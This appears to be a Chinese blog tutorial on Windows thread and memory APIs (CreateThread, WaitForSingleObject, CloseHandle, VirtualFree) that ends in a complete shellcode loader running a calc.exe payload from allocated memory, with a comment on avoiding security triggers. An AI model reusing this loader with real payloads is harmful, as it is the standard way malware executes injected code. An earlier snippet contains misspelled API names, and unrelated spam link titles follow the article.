需要初始化后执行CREATE_SUSPENDED先创建线程,初始化环境后再启动
线程池管理CREATE_SUSPENDED批量创建线程,统一控制执行时机
调试热重载STACK_SIZE_PARAM_IS_AHRESET保持堆栈信息用于调试

注意事项

  1. 挂起线程管理

    • 每个挂起线程有挂起计数(可通过ResumeThread返回)

    • 必须保证每个CREATE_SUSPENDED线程最终被恢复

    • 示例:

      DWORD count = ResumeThread(hThread); 
      // count返回1表示从挂起状态恢复
      copy
      
  2. 不要滥用挂起

    // 危险:可能永远不恢复
    CreateThread(..., CREATE_SUSPENDED, ...);
    // 忘记调用ResumeThread → 线程泄漏!
    copy
    
  3. 挂起状态限制

    • 不能挂起已结束的线程
    • 挂起主线程可能导致程序冻结

高级用法

批量管理线程

#define THREAD_NUM 5
HANDLE hThreads[THREAD_NUM];// 批量创建挂起线程
for(int i=0; i<THREAD_NUM; i++){hThreads[i] = CreateThread(..., CREATE_SUSPENDED, ...);
}// 统一启动所有线程
for(int i=0; i<THREAD_NUM; i++){ResumeThread(hThreads[i]);
}

安全恢复计数检查

DWORD count = ResumeThread(hThread);
if(count == (DWORD)-1) {// 错误处理DWORD err = GetLastError();printf("恢复线程失败,错误码:%d", err);
} else {printf("线程挂起计数:%d", count);
}
copy

使用口诀

  • 创建标志二选一,立即执行或挂起
  • 挂起线程要恢复,否则永远不执行
  • 批量管理先挂起,统一启动更效率
  • 特殊标志勿乱用,除非你是调试器
参数六 [out,optional] lpThreadId 收线程标识符的指针

lpThreadId用于获取新线程的ID,如果为NULL,则不返回ID。线程ID是系统范围内的唯一标识,可用于调试或管理线程。但通常建议使用线程句柄而非ID,因为ID可能被复用。

如线程ID类似员工工号,可用于识别但可能重复使用。而句柄类似员工档案,更安全。生成表格,包含参数示例、使用场景、原理说明和注意事项。

lpThreadId`参数就像新员工的工号记录本

  • 作用:用来记录新线程的身份证号(线程ID)
  • 特点:你可以选择记下来(传变量地址)或者不记(传NULL)
参数示例使用场景原理说明注意事项
NULL不需要知道线程ID“不记录工号”最常用选项,节省资源
&threadId需要跟踪线程状态“记下工号方便查岗”实际开发中更推荐使用线程句柄
DWORD* pid跨进程线程管理“通过工号查找其他部门的员工”需要OpenThread配合使用,且需足够权限

不获取线程ID

CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL // ← 这里传NULL表示不关心线程ID
);
copy

获取线程ID

DWORD tid; // 用来存储线程ID
HANDLE hThread = CreateThread(NULL,0,ThreadProc,NULL,0,&tid // ← 传递tid的地址
);printf("新线程ID: %d", tid);

线程ID vs 线程句柄

特性线程ID线程句柄
唯一性系统范围内唯一,但可能被复用进程内唯一,不会被复用
用途调试、日志实际线程操作(等待、终止等)
获取方式CreateThread返回或GetCurrentThreadIdCreateThread直接返回
生命周期线程结束即失效需CloseHandle关闭

注意事项表

要点说明
不要用ID操作线程应始终使用句柄进行线程操作(如WaitForSingleObject)
ID可能被复用线程结束后,其ID可能被新线程使用
调试用途在日志中记录线程ID有助于问题排查
跨进程操作困难需要先通过ID获取句柄:THREAD_ALLTHREAD_ALL_ACCESS, FALSE, tid)`
32/64位兼容DWORD在64位系统可能溢出(建议用DWORD_PTR)

高级用法

通过ID获取句柄

DWORD tid = 1234; // 已知线程ID
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, // 需要足够权限FALSE,tid
);if(hThread != NULL) {// 使用句柄操作线程...CloseHandle(hThread);
}
copy

获取当前线程ID

DWORD currentTid = GetCurrentThreadId();
copy

使用口诀

  • 线程ID如工号,系统分配可查到
  • 传参地址记录它,传空省事又高效
  • 实际操作用句柄,安全可靠不混淆
  • 调试日志有时需,日常开发可不要
案例
#include <windows.h>
//定义无符号形字符数组
unsigned char code[]="\x64\x64"
DWORD id;
//申请内存空间
LPVOID memory= VirtualAlloc(NULL,sizeof(code),MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE //只读无执行权限使用PAGE_EXECUTE_READWRITE可能触发安全机制,建议分开设置权限);
//判断内存是否申请成功
if(memory==NULL){return 1;
};
//将code加载到内存中
memcpy(memory,code,sizeof(code));
// 执行前用 VirtualProtect 改为可执行
DWORD oldProtect;
if(!VitualProtect(memory,sizeof(code),PAGE_EXECUTE_READWRITE,&oldprotect)){VirtualFree(memory,0,MEM_RELEASE);//如果修改失败释放地址};
//创建线程
HANDLE Thread = CreateThread(NULL,//继承和安全权限0,//堆栈大小0为系统分配(LPTHREAD_START_ROUTINE)memory,//强制转换类型为线程函数NULL,//无参数传递0,//立即执行&id//线程id);

WaitForSingleObject

DWORD WaitForSingleObject([in] HANDLE hHandle,[in] DWORD  dwMilliseconds
);

该函数包括在windows.h头文件中

该函数调用windows api synchapi.h

该函数有两个参数

WaitForSingleObject 是Windows多线程编程中用于同步线程或进程的关键函数,其作用是使当前线程等待指定的内核对象变为已通知状态(Signaled)。

WaitForSingleObject 是控制线程/进程同步的核心函数,正确使用可确保资源有序释放,避免竞态条件。务必结合错误处理和超时机制以增强程序健壮性。

参数一 [IN] HANDLE 句柄执行的线程

hHandle 就像不同场景的“遥控器”,用来控制你要等待的对象。每个“遥控器”对应一个具体的操作目标(比如一个线程、一个进程),你必须拿着正确的遥控器,并且它有“等待”功能按钮,才能使用 WaitForSingleObject

对象比喻场景实际用途注意事项
线程 (Thread)控制一个工人(子线程)等待工人干完活再继续。确保工人真的启动了再等待。
进程 (Process)控制一个团队(子进程)等待整个团队完成任务。可能需要管理员权限才能控制其他团队。
事件 (Event)一个通知铃铛等铃铛响了(事件触发)才行动。铃铛必须提前设置好。
互斥体 (Mutex)一把钥匙(共享资源)等拿到钥匙才能使用打印机。用完记得还钥匙,否则别人永远等不到。
信号量 (Semaphore)限量门票(资源池)等有门票才能进入(如最多5个线程同时运行)。门票数量要合理设置。
定时器 (Timer)一个闹钟等闹钟响了执行任务。记得设置正确的时间

关于“遥控器”的权限

  • 必须要有“等待按钮”:每个遥控器必须有 SYNCHRONIZE 权限(相当于“等待”功能按钮)。
  • 默认已有权限:大多数情况下,系统发给你遥控器时已经自带这个按钮(如 CreateThread 创建的线程句柄)。
  • 特殊情况:如果你向别人借遥控器(如用 OpenProcess 打开其他进程),需要明确说:“我要一个带等待按钮的遥控器!”

如何确认和添加 SYNCHRONIZE 权限

1. 默认情况下的权限

  • 大多数创建函数

    (如CreateThread、CreateEvent)返回的句柄默认包含 SYNCHRONIZE 权限,无需额外设置。

    // 示例:创建线程句柄(默认有 SYNCHRONIZE)
    HANDLE hThread = CreateThread(...);
    // 可直接用于 WaitForSingleObject

2. 需要显式添加权限的场景

当通过以下函数获取已有对象的句柄时,需手动请求 SYNCHRONIZE 权限:

  • OpenProcess:打开其他进程。
  • OpenThread:打开其他线程。
  • DuplicateHandle:复制句柄。

3. 如何添加权限(代码示例)

场景1:打开进程并等待其结束

DWORD pid = 1234; // 目标进程ID// 请求 SYNCHRONIZE 权限
HANDLE hProcess = OpenProcess(SYNCHRONIZE,          // 明确要求等待权限FALSE,                // 句柄不可继承pid                   // 目标进程ID
);if (hProcess == NULL) {DWORD err = GetLastError();printf("打开进程失败,错误码: %d\n", err);return;
}// 等待进程退出
WaitForSingleObject(hProcess, INFINITE);
CloseHandle(hProcess);

场景2:复制句柄并添加权限

HANDLE hOriginalThread; // 假设已有线程句柄
HANDLE hNewThread;// 复制句柄并赋予 SYNCHRONIZE 权限
BOOL success = DuplicateHandle(GetCurrentProcess(),  // 当前进程hOriginalThread,      // 原句柄GetCurrentProcess(),  // 目标进程(同进程)&hNewThread,          // 新句柄SYNCHRONIZE,          // 只复制 SYNCHRONIZE 权限FALSE,                // 不可继承0                     // 无额外选项
);if (success) {WaitForSingleObject(hNewThread, INFINITE);CloseHandle(hNewThread);
}

4. 如何确认句柄是否有权限

  • 直接测试:调用 WaitForSingleObject,若返回 WAIT_FAILEDGetLastError() 返回 5(访问被拒绝),则权限不足。

    DWORD result = WaitForSingleObject(hHandle, 0);
    if (result == WAIT_FAILED && GetLastError() == 5) {printf("句柄缺少 SYNCHRONIZE 权限!\n");
    }
    
  • 使用工具:通过 Process ExplorerHandle 工具查看句柄权限(需管理员权限)。

5. 权限不足的解决方案

  • 方案1:以管理员身份运行程序(右键点击程序 → 以管理员身份运行)。

  • 方案2

    :在打开句柄时请求更高权限(如

    PROCESS_ALL_ACCESS
    

    )。

    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,  // 包含 SYNCHRONIZEFALSE,pid
    );
    

对象的安全描述符(需高级权限,一般用户不建议操作)。

参数二 [in] dwMilliseconds

dwMilliseconds 就像你设定的“耐心倒计时”,决定你愿意等多久。不同的值会有不同的行为:

取值行为
INFINITE死等到底,直到目标对象完成(比如线程结束)。
0看一眼对象状态,如果没完成,直接走人。
5000等5秒,5秒内对象完成则继续;5秒后没完成,直接走人。

系统版本差异

  • Windows 7 及旧系统
    电脑睡眠时,倒计时继续(比如设5秒,电脑睡1分钟,醒来后倒计时已超时)。
  • Windows 8 及更新系统
    电脑睡眠时,倒计时暂停(比如设5秒,电脑睡1分钟,醒来后继续倒计时)。

示例1:死等线程结束

HANDLE hThread = CreateThread(...);
WaitForSingleObject(hThread, INFINITE);  // 不等到线程结束不罢休
CloseHandle(hThread);

示例2:等5秒,超时强制结束线程

HANDLE hThread = CreateThread(...);
DWORD result = WaitForSingleObject(hThread, 5000);if (result == WAIT_TIMEOUT) {printf("线程5秒没干完,强制终止!\n");TerminateThread(hThread, 0);  // 强制终止线程(慎用!)
}CloseHandle(hThread);

示例3:立即检查线程状态

HANDLE hThread = CreateThread(...);
DWORD result = WaitForSingleObject(hThread, 0);if (result == WAIT_OBJECT_0) {printf("线程已结束!\n");
} else {printf("线程还在运行。\n");
}CloseHandle(hThread);

注意事项

  1. 避免死锁
    INFINITE 时,确保目标对象最终会完成,否则程序卡死。

  2. 超时后处理
    超时后需决定是否强制终止任务、重试或记录错误。

  3. 系统兼容性
    如果程序需在睡眠状态下精确计时,注意新旧系统行为差异。

  4. 错误检查
    始终检查返回值:

    DWORD result = WaitForSingleObject(hHandle, 5000);
    if (result == WAIT_FAILED) {printf("等待失败,错误码: %d\n", GetLastError());
    }
    

CloseHandle 释放系统资源

CloseHandle 就像离开停车场时归还停车卡,告诉系统“我用完了这个资源,可以回收了”。如果不还卡(不关闭句柄),停车场会一直以为你还在用车位,导致资源浪费。

核心作用

  • 释放系统资源:每个句柄对应一个内核对象(如线程、文件、互斥体),关闭句柄即释放其占用的系统资源。
  • 防止内存泄漏:长期不关闭句柄会导致系统资源逐渐耗尽,最终程序崩溃。
场景比喻行为实际操作
创建线程领取停车卡(句柄)HANDLE hThread = CreateThread(...)
使用线程通过停车卡操作车辆(线程)WaitForSingleObject(hThread, ...)
关闭句柄还卡离开停车场CloseHandle(hThread)
不关闭句柄带走停车卡资源泄漏,停车场车位永远被占!

何时需要关闭句柄?

  • 明确不再需要时:如线程已结束、文件已关闭、互斥体已释放。
  • 最佳实践:一旦拿到句柄,立刻想好何时关闭,并写在代码中。

及时归还停车卡

// 领卡停车(创建线程)
HANDLE hThread = CreateThread(...);// 等待线程结束(等车开出停车场)
WaitForSingleObject(hThread, INFINITE);// 还卡离开(关闭句柄)
CloseHandle(hThread);

注意事项

  1. 关闭时机

    • 确保对象已不再使用(如线程结束后)。
    • 即使对象已自动销毁(如进程退出),仍需关闭句柄。
  2. 不要重复关闭

    • 关闭句柄后,对应的 HANDLE 变为无效,再次关闭会引发崩溃。
  3. 关闭≠终止

    • CloseHandle 只是释放资源,不会终止线程/进程
    • 终止线程需用 TerminateThread(慎用)。
  4. 错误处理

    • 如果关闭失败(返回

      FALSE
      

      ),可能是句柄无效或无权限:

      if (!CloseHandle(hThread)) {DWORD err = GetLastError();printf("还卡失败!错误码:%d\n", err);
      }
      copy
      

顺口溜

用完句柄及时关,避免泄漏保平安。
关闭不等同终止,重复关闭会翻车。
领卡记得要还卡,系统资源不白瞎!

VirtualFree 释放申请的内存空间

BOOL VirtualFree([in] LPVOID lpAddress,[in] SIZE_T dwSize,[in] DWORD  dwFreeType
);

释放、取消提交或释放和取消提交调用进程的虚拟地址空间中的页面区域。

就像停车场的不同关闭方式——临时关闭部分车位 vs 永久拆除整个停车场

标志名称参数示例使用场景原理说明注意事项
MEM_DECOMMITMEM_DECOMMIT释放物理内存“清空车位但保留停车区域”(可重新启用)可部分操作(如关闭东区3个车位)
MEM_RELEASEMEM_RELEASE释放地址空间“永久拆除整个停车场”(土地归还政府)必须整体操作(从入口到出口全部区域)

1. 标准使用流程

// 完整停车场的生命周期
LPVOID parking = VirtualAlloc(NULL, 4096, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE); // 建停车场+启用车位// 临时关闭部分区域(保留停车场结构)
VirtualFree((BYTE*)parking + 2048, 2048, MEM_DECOMMIT);  // 关闭后半区车位// 永久拆除停车场
VirtualFree(parking, 0, MEM_RELEASE);  // 必须从原始地址开始,size=0
操作类型允许操作区域大小要求类比场景
MEM_DECOMMIT已启用的任意连续区域必须>0关闭停车场A区10个车位
MEM_RELEASE整个原始保留区域必须=0拆除整个停车场建筑

分层管理

// 建设多层停车场
LPVOID megaParking = VirtualAlloc(NULL, 16*4096, MEM_RESERVE, PAGE_READWRITE);// 启用第2层车位
VirtualAlloc((BYTE*)megaParking + 4096, 4096, MEM_COMMIT, PAGE_READWRITE);// 单独关闭第2层
VirtualFree((BYTE*)megaParking + 4096, 4096, MEM_DECOMMIT);// 最终整体拆除
VirtualFree(megaParking, 0, MEM_RELEASE);

操作口诀

  • 释放内存分两段,清空车位或拆场
  • 清空车位可部分,拆除必须全归零
  • 地址要对初始位,大小参数看类型
  • 状态转换要合规,先清后拆最安全

完整代码示例

#include <windows.h>
#include<stdio.h>
int main() {//shellcode以unsigned char 数据形式存储//unsigned为无符号整型变量本质是存储ascll码值unsigned char shellcode[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";//打开计算器//分配可执行内存//LPVOID是一个没有类型的指针,也就是说你可以将任意类型的指针赋值给LPVOID类型的变量(一般作为传递),然后在使用的时候再转换回来。 可以将其理解为long型的指针,指向void型//LPVOID是windowsapi定义一个无类型的指针变量 void*常用于普通变量LPVOID memory = VirtualAlloc(NULL,sizeof(shellcode),MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);if (memory == NULL) {printf("内存为空");return 1;}//将执行的代码放入到刚刚申请的内存中memcpy(memory,shellcode,sizeof(shellcode));DWORD oldProtect;if (!VirtualProtect(memory,sizeof(shellcode),PAGE_EXECUTE_READWRITE,&oldProtect)){VirtualFree(memory,0,MEM_RELEASE);}HANDLE thread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)memory,NULL,0,//立即执行NULL);printf("%d", GetThreadId(thread));WaitForSingleObject(thread, INFINITE);// 清理资源CloseHandle(thread);VirtualFree(memory, 0, MEM_RELEASE);return 0;
}

相关文章:

  • Excel 打开密码:守护数据安全的 “钥匙”
  • MySQL:备份还原数据库(mysqldump)
  • c# 解码 encodeURIComponent
  • RocketMQ 生产消费消息消息解析与重试机制详解
  • [GHCTF 2025]ret2libc1(NSSCTF)
  • 云蝠语音智能体——电话面试中的智能助手
  • 搭配前端食用
  • 【小程序】手机号快速验证组件如何使用对公转账方式
  • 一文详解RTMP协议
  • 每日一练,冲进国赛!全国青少年信息素养大赛-图形化编程—省赛真题——小鸡吃东西
  • 服务器为什么会产生垃圾文件
  • 【摄影测量与遥感】卫星姿态角解析:Roll/Pitch/Yaw与Φ/Ω/Κ的对应关系
  • NIST提出新型安全指标:识别潜在被利用漏洞
  • 图解深度学习 - 人工智能、机器学习和深度学习
  • SVN被锁定解决svn is already locked
  • 怎么判断一个Android APP使用了Qt 这个跨端框架
  • Javase易混点专项复习01_this关键字
  • 2.2.1 05年T1复习
  • 重读《人件》Peopleware -(12-2)Ⅱ 办公环境 Ⅴ 大脑时间与身体时间(下)
  • 生成式 AI:解锁人类创造力的智能引擎
  • 六合哪家做网站建设/google图片搜索引擎入口
  • 大网站制作公司/seo刷词
  • theme wordpress/宁波seo咨询
  • 网站规划与建设需求分析/台州百度推广优化
  • 山东手机版建站系统信息/seo专家是什么意思
  • 竞价培训班/百度seo排名原理